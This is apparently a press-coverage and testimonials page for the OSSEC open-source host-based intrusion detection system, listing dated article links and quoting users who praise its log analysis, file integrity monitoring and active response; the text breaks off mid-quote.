		13 Feb, 2008 - tllts.org - OSSeC IDS for your server’s health [http://www.tllts.org/dl.php?episode=232]


		08 Feb, 2008 - Howtoforge.com - Intrusion Detection: Snort (IDS), OSSEC (HbIDS) And Prelude (HIDS) [http://www.howtoforge.net/snort-ossec-prelude-on-ubuntu-gutsy-gibbon]


		26 Jan, 2008 - Lincgeek - HIDS [http://lincgeek.org/blog/?p=74]


		23 Jan, 2008 - OSSEC blog - OSSEC Book [http://www.ossec.net/dcid/?p=120]


		28 Dec, 2007 - Hurricane Labs - Tuning OSSEC [http://news.hurricanelabs.com/article.php?story=20071228095952670&query=ossec]


		11 Dec, 2007 - Hurricane Labs - Building OSSEC - A Young Man.s Journey [http://news.hurricanelabs.com/article.php?story=20071211101538488]


		10 Dec, 2007 - Amazon.com - OSSEC Host-Based Intrusion Detection Guide [http://www.amazon.com/OSSEC-Host-Based-Intrusion-Detection-Guide/dp/159749240X]


		02 Nov, 2007 - CIOL  - Host Intrusion Detection with OSSEC [http://pcquest.ciol.com/content/enterprise/2007/107110203.asp]


		31 Oct, 2007 - OSS Blog.it - Rilasciato OSSEC 1.4 [http://www.ossblog.it/post/3386/rilasciato-ossec-14]


		31 Oct, 2007 - Linux Security - OSSEC v1.4 Released [http://www.linuxsecurity.com/content/view/130386?rdf]


		30 Oct, 2007 - Bleeding Edge - OSSEC v1.4 Released [http://www.bleedingthreats.net/index.php/2007/10/31/ossec-14-released/]


		07 Oct, 2007 - Toady’s blog - Prelude support for Ossec [http://www.gscore.org/blog/index.php/post/2007/10/07/Prelude-support-for-Ossec]


		01 Oct, 2007 - Chuvakin.blogspot - Awesome move by OSSEC [http://chuvakin.blogspot.com/2007/10/awesome-move-by-ossec.html]


		13 Aug, 2007 - Bleeding Edge - OSSEC 1.3 Released [http://www.bleedingthreats.net/index.php/2007/08/13/ossec-13-released/]


		12 Aug, 2007 - Ethical Hacker.net - DIY IDS [http://www.ethicalhacker.net/content/view/154/24/]


		08 Aug, 2007 - Linux.com - OSSEC v1.3 released [http://www.linux.com/articles/118468]


		05 Aug, 2007 - WindowSecurity - Latest OSSEC release [http://blogs.windowsecurity.com/parker/2007/08/05/latest-ossec-release/]


		24 Jul, 2007 - SecurityHorizon - OSSEC-HIDS: Documenting my Further Adventures in Intrusion Detection [http://www.securityhorizon.com/journal/TSJ-2007-03-summer.pdf]


		10 Jul, 2007 - techrepublic.com - Centralising OSSEC HIDS via an agent/server framework yields good results [http://blogs.techrepublic.com.com/networking/?p=288]


		10 Jul, 2007 - bsdnews.com - Centralising OSSEC HIDS [http://bsdnews.com/view_story.php3?story_id=6849]


		12 Jun, 2007 - blogs.techrepublic - Review: Open source OSSEC for host-based intrusion detection [http://blogs.techrepublic.com.com/networking/?p=269]


		27 Apr, 2007 - earthweb.com - Ten Open Source Security Apps Worth Considering [http://itmanagement.earthweb.com/secu/article.php/11076_3673721_3]


		27 Apr, 2007 - blog.vorant.com - OSSEC at the SANS log management summit [http://blog.vorant.com/2007/04/log-management-summit-wrap-up.html]


		16 Apr, 2007 - linuxsecurity.com - Free Lunch :: OSSEC [http://www.linuxsecurity.com/content/view/127821/2/]


		15 Apr, 2007 - ncircle blog - Free Lunch :: OSSEC Review [http://blog.ncircle.com/blogs/sync/archives/2007/04/free_lunch_ossec.html]


		30 Mar, 2007 - seepurity.com - OSSEC - an HIDS and more ! [http://seepurity.com/?p=9]


		21 Mar, 2007 - Windows It PRO - Application and Host IDS Tools [http://www.windowsitpro.com/articles/print.cfm?articleid=95520]


		12 Mar, 2007 - Linux World - OSSEC #1 in Top 5 open source security tools in the enterprise [http://www.linuxworld.com/news/2007/031207-top-5-security.html]


		12 Mar, 2007 - IDS es - Nueva actualizaci?n del IDS de c?digo abierto OSSEC [http://www.idg.es/cio/mostrarNoticia.asp?id=90817832&seccion=]


		12 Mar, 2007 - Newsforge - OSSEC v1.1 available [http://www.newsforge.com/newsvac/07/03/12/2128206.shtml]


		12 Mar, 2007 - Underlinux - OSSEC v1.1 available [http://under-linux.org/7216-ossec-11-disponivel-para-download.html]


		12 Mar, 2007 - Network World - Open source IDS app gets an update [http://www.networkworld.com/news/2007/031207-open-source-ids.html]


		23 Feb, 2007 - Computer World - Six advanced-technology open source projects [http://www.computerworld.com.au/index.php/id;192427681;fp;4194304;fpid;1;pf;1]


		19 Feb, 2007 - Network World - Six advanced-technology open source projects [http://www.networkworld.com/supp/2007/ndc1/021907-ndc-best-of-open-source-tools.html?page=6]


		04 Feb, 2007 - meshier.com - Preventing Dictionary Attacks with OSSEC on Plesk [http://meshier.com/2007/02/04/preventing-dictionary-attacks-with-ossec-on-plesk/]


		17 Jan, 2007 - unx.ca - Blocking ssh scans with OSSEC [http://unx.ca/log/2007/01/17/blocking-ssh-scans-with-ossec/]


		15 Jan, 2007 - isc.SANS - OSSEC turns (v)1.0 [http://isc.sans.org/diary.html?storyid=2063]


		15 Jan, 2007 - Linuxsecurity - OSSEC v1.0 available [http://www.linuxsecurity.com/content/view/126568/169/]


		09, Dec, 2006 - guba.gsol.ws - ?Te gustar?a saber qu? peligros rondan a tu(s) servidor(es)? [http://guba.gsol.ws/?p=56]


		10, Nov, 2006 - mcpressonline.com - TechTip: Open-Source Host Intrusion Detection [http://www.mcpressonline.com/mc?1@84.4NebdeuLsHA.0@.6b3cd562]


		08, Nov, 2006 - chilesincables.org - Ossec un nuevo gran IDS que dara de hablar] [es [http://zaterio.chilesincables.org/?p=71]


		01, Nov, 2006 - Network Security Hacks (book) - Centrally Monitor the Security Posture of Your Servers [http://safari.oreilly.com/0596527632/I_0596527632_CHP_8_SECT_8]


		20, Oct, 2006 - snort.org    - OSSEC v0.9-3 is Available [http://www.snort.org/pub-bin/snortnews.cgi#538]


		20, Oct, 2006 - andrewhay.ca - ` OSSEC version 0.9-3 (0.9 update 3) is available <http://www.andrewhay.ca/archives/48>`_


		13, Oct, 2006 - linuxtoday.com - Host Intrusion Detection with OSSEC [http://www.linuxtoday.com/news_story.php3?ltsn=2006-10-13-005-26-OS-HL]


		12, Oct, 2006 - InfoSec Kwoon - OSSEC Host-based Intrusion Detection [http://kwoon.blogspot.com/2006/10/ossec-host-based-intrusion-detection.html]


		12, Oct, 2006 - librenix.com - Host intrusion detection with OSSEC [http://librenix.com/?inode=9553]


		11, Oct, 2006 - techtarget.com - Host intrusion detection with OSSEC [http://searchopensource.techtarget.com/tip/0,289483,sid39_gci1222865,00.html]


		21, Sep, 2006 - linuxtoday.com - Securing Your Server With A Host-based Intrusion Detection System [http://www.linuxtoday.com/security/2006092100726OSHLSV]


		20, Sep, 2006 - howtoforge.com - Securing Your Server With A Host-based Intrusion Detection System [http://www.howtoforge.com/intrusion_detection_with_ossec_hids]


		18, Sep, 2006 - isc.SANS  - Log analysis follow up [http://isc.sans.org/diary.php?storyid=1712]


		08, Aug, 2006 - Slashdot  - An open source security triple play [http://it.slashdot.org/it/06/08/08/0232232.shtml]


		07, Aug, 2006 - Linux.com - An open source security triple play [http://security.linux.com/security/06/08/01/1530217.shtml]


		02, Aug, 2006 - SANS      - Log analysis using OSSEC and Logging in Depth [https://www.sans.org/webcasts/show.php?webcastid=90611]


		29, Jul, 2006 - Intelguardians.com - Sansfire Keynote: Network Early Warning Systems by: Mike Poor [http://www.intelguardians.com/mikepoorkeynote.pdf]


		26, Jul, 2006 - Snort.org - Version 0.9 of OSSEC HIDS is now available [http://www.snort.org/pub-bin/search2.cgi?q=ossec]


		25, Jul, 2006 - Linuxsecurity.com - ` OSSEC HIDS v0.9 Available <http://www.linuxsecurity.com/content/view/123723/65/>`_


		21, Jun, 2006 - sectools.org - OSSEC voted #2 IDS tool [http://sectools.org/ids.html]


		23, May, 2006 - Linuxsecurity.com - ` Log analysis for Intrusion detection document <http://www.linuxsecurity.com/content/view/122853/65/>`_


		01, Dec, 2005 - techtarget.com - Is there free code available for intrusion detection systems? [http://expertanswercenter.techtarget.com/eac/knowledgebaseAnswer/0,295199,sid63_gci1150852,00.html]
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Kurt R. Hinson at Amazon.com (2008 Oct)


Oct 29 2008



“In these days of tight and/or frozen budgets, utilizing open source applications has become a must for many of us in the security realm. ``OSSEC is one such “must have” application that will give you visibility and insight into Windows, Mac and Linux machines on your network through the use of this Host Intrusion Detection application.``
There are many options, architectures and configuration variables and this book is an excellent resource that will guide you whether you are a seasoned professional or just starting to think about deploying host based intrusion detection in your environment. This book is a must have for any security engineer’s bookshelf and a quick way to get you on the road to compliance using powerful and FREE software.”


Full post at amazon.com [http://www.amazon.com/review/R32029DCBX9A4G/ref=cm_cr_rdp_perm]









Aaron Bliss at brockport.edu (2008 Apr)


Apr 23 2008



“Hi everyone,
I’ve been using ossec for a few months now and everything is working great (a truly excellent, robust application set).”


Full post at google groups [http://groups.google.com/group/ossec-list/browse_thread/thread/63c3e258cae1c90f]









Mike at itadmins.org (2008 Mar)


Mar 28 2008



“After testing it out on several of my machines, I can officially say it.s exactly what I was looking for in an IDS: something lightweight, cross-platform, and well documented. ... This is absolutely what I was looking for in intrusion detection. Go check OSSEC out when you get a chance.”


Full article at http://itadmins.org/?p=58









Joe Bar at Linux.com (2008 Mar)


Mar 11 2008



“OSSEC is a <b>complete Host Intrusion Detection System, meant to detect any and all attempts at intrusion</b>. We reviewed OSSEC in 2006, when it was at the 0.9 release. But even though its much larger and more complex than the other two tools, <b>OSSEC installation is a breeze.”


Full article at http://www.linux.com/feature/128450









Steve McMaster (2007 Dec)


Dec 11 2007



“I heard a talk once where the presenter said the true strength of your network security comes when you take away your firewall; what happens to your network if someone adds an .Any to Any on Any Accept. rule to the top of your rulebase? Does your network fall apart and crumble? Obviously, that.s quite a blow to the defense of your network . but can you fight from one knee until reinforcements arrive? <b>One of the best tools you can get to help you out is software called OSSEC
The idea behind OSSEC is simple . have software that watches your logs, understands what they mean, and reacts as necessary...
Getting OSSEC running is surprisingly simple, considering how powerful it is</b>. All it takes is some knowledge of Linux, and knowing what logs you want to watch. Don.t worry, there is an agent for Windows servers, too; however, the server itself runs only on Linux...”


Full article at http://news.hurricanelabs.com/article.php?story=20071211101538488









Paul Sebastian Ziegler at observed.de (2007 Sep)


Sep 05, 2007



“During Defcon15 there was a new kind of contest called the ”?wn the box” competition where anyone who 0wned a box got to take it home. I was over there as a speaker so I thought it might be fun to try defending a box. My box was based on Gentoo-Linux and hardened using various techniques...
So the results were recently published on the DC-Homepage (http://defcon.org/) - and if you look closely there is this line saying “Most evil entry: Tatsumori (Gentoo Hardened with arp poisoning evilness)” The arp-foo was actually done using scapy, but I scripted it as an active response for OSSEC 1.2. So part of my success to survive there (and really make people curse out while hacking) is OSSEC.
It’s great modularity and easy extensibility makes creating kick-ass crazy dedicated solutions so much easier then it was ever before.”


Full comment at http://observed.de/?entnum=83









Anonymous comment at blog.gnist.org (2007 Aug)


Aug 18, 2007



“To anyone else reading this who hosts servers and is worried about getting attacked, i use http://www.ossec.net/ which is effectively a self defence program.
If you try and brute force (more than n attempts in p seconds) or portscan my machine, it simply locks you out for 24 hours by denying that IP.
It has other useful features and even lets me know when it’s being attacked - absolutely brilliant program and i have no hesitation in recommending it.”*


Full comment at http://blog.gnist.org/article.php?story=HollidayCrackingblog.gnist.org blog.gnist.org









Jeremy Melanson at lists.debian (2007 Aug)


Aug 17, 2007



“My company just got PCI certified (we’re on our way to CISP)...
Here’s a run-down of the projects that I’ve implemented to achieve our PCI compliance...
Host Intrusion Detection, File Integrity Monitor (OSSEC): I’m using OSSEC (http://www.ossec.net) to monitor the individual SysLog files for perceived security issues. OSSEC understands Snort, Cisco PIX, IPTables, and a host of others.
Additionally, I have OSSEC agents running on each of my servers (including Windoze), which report back to a central OSSEC Server. The agents are primarily in charge of monitoring important files for changes (nice view during upgrades), and secondarily in charge of scanning for RootKits.
OSSEC can also interface with IPTables and other host-based firewalls, as a means of implementing Real-time greylisting...


Full post at http://lists.debian.org/debian-security/2007/08/msg00114.html









Chuck Little at Security Horizon (2007 Jul)


Jul 25, 2007



“Though OSSEC-HIDS is a fairly young project .., it.s approach to intrusion detection is based on commonsense, and extremely extensible. And that is something I think we have been missing from software products these days: common-sense.
Most vendors seem more inclined to add features, and a sparkly/pretty GUI, and less inclined to fix their detection
engine or refine signatures (for signaturebased IDS) to help reduce false positives. Hopefully OSSEC-HIDS will be a trend-setter in that other IDS vendors get back to their roots and use a more common-sense based approach to intrusion detection. <b>Forget the glitz and pretty graphs; just make something that works. OSSEC-HIDS is just that....it works; and has an added bonus of working well.


Full article at Security Horizon Summer 07 [http://www.securityhorizon.com/journal/TSJ-2007-03-summer.pdf]









Clayton Dillard at OSSEC-list (2007 Jul)


Jul 25, 2007



“Also, I wanted to thank the folks involved with developing and maintaining the OSSEC project.  We’ve had OSSEC in production for only a couple of months and it has already helped us identify several attacks and a few agent/host configuration issues.
Thanks for a great product!”


Link here [http://www.ossec.net/ossec-list/2007-July/msg00070.html]









Mraju at /muraliraju.info (2007 Jul)


Jul 01, 2007



“I am truly impressed with OSSEC when it comes to HIDS (Host intrusion Detection System) functions...
OSSEC is a project from Daniel B. Cid (contact at ossec.net) who is the primary author of this great tool. I run OSSEC from a single box to cluster of machines ranging in the 100s, primarily running *NIX. Although, I primarily use it for HIDS (agent) setups, recently I am starting to see a benefit in using OSSEC for log analysis. This started with OSSEC reporting alerts from mod_security, which I use heavily as a WAF for Web Applications... “


Link to the blog post: HIDS with OSSEC [http://muraliraju.info/2007/7/1/hids-with-ossec]









Matt Groves at blog.mattgroves.com (2007 Jun)


Jun 10, 2007



”..
I have several methods by which I achieve this, and I’m not going to advertise them all. One of the ways that I achieve proactive security monitoring and reactive system changes to cease attempts made by nasties on the internet getting access or extended information about the system, is to use a Host Based Intrusion Detection System (HIDS) and of all the packages that I have experienced, have stuck with, <b>and can highly recommend OSSEC - open source, free, regularly updated, virtually bug-free and a very good ruleset.</b> I’m listed as a donor now, too :-)”


Read full post at his blog entry [http://blog.mattgroves.com/2007/06/ossec_host_based_intrusion_det.html]









Christopher J. Buckley - cbuckley at redhat.com (2007 May)


May 04, 2007



“OSSEC is a leading Intrusion Detection System for Enterprise UNIX(-like) and Windows platforms. <b>OSSEC is, by quite a way, the most innovative and customisable IDS product I have worked with.
*As a result of it.s ease of customisations, the developer Daniel B. Cid, with a little bit of help from myself, have implemented supported rule-sets for my former employers. products: Zeus WebServer and ZXTM. Both products are widely deployed across many enterprise environments; adding specific rulesets for their software is one which I hope assists all fellow sysadmins tasked with running infrastructure using Zeus software. *


Read full post at his blog entry [http://www.cjbuckley.net/blog/2007/05/04/ossec-ruleset-for-zeus-webserver-and-zxtm]









Cynthia Harvey at eSecurity Planet (2007 May)


May 01, 2007



“This host-based intrusion detection system (HIDS) has recently been gaining popularity among enterprise users, in part because of its high scalability. If an attack overcomes your network defenses, Ossec HIDS stops the attack at the host level, and it can be configured to notify the network administrator when an attack occurs. It’s compatible with many firewalls and all the major operating systems.”


Read full post at at the esecurityplanet article [http://www.esecurityplanet.com/article.php/11162_3678471_3]









Eric Hines at LinuxWorld (2007 Mar)



“I’ve selected OSSEC HIDS as the No. 1 open source tool due to its recent rapid growth in the enterprise. OSSEC HIDS is a rapidly evolving open source project that offers the first ever open source host intrusion detection and prevention system</b>, developed by Daniel Cid. The OSSEC HIDS project has been gaining widespread use and is quickly being deployed within organizations around the world as a method of protecting systems at the host level after attacks have made it past network defenses.
..
Combined with open source Snort, OSSEC gives administrators a 360-degree holistic view of both the network and the endpoint systems they are monitoring.
..
The OSSEC rules language is incredibly flexible and powerful allowing administrators to define their own custom rules to alert on any predefined text or patterns. Its detection capabilities do not stop at rules. It includes checks via syscheck for changes to user-specified directories, integrity checks on files and directories, MD5 checksum changes, file or directory sizes, file or directory ownership, and group, file and directory permissions. More importantly, OSSEC monitors the Windows registry, in which most trojans, spyware and backdoors are traditionally injected on Windows hosts..”


Read full post at LinuxWorld (ossec #1 security tool in the enterprise) [http://www.linuxworld.com/news/2007/031207-top-5-security.html]









David Bianco at Computer World (2007 Feb)



“We were able to get a lot of out-of-the-box functionality,” </i>says David Bianco, cybersecurity analyst for Thomas Jefferson National Accelerator Facility in Newport News, Va. <i>”OSSEC immediately started parsing our firewall logs and alerting on Internet scans and probes. It’s also helping track failed logins, system account changes, IDS alerts and a few other things – all with very little work on our part.”


Read full post at Computer World [http://www.computerworld.com.au/index.php/id;192427681;fp;4194304;fpid;1;pf;1]









Sifu Kurt at InfoSec Kwoon (2006 Oct)


Oct 12, 2006



“I’ve used a lot of different file integrity monitoring programs (Samhain, Osi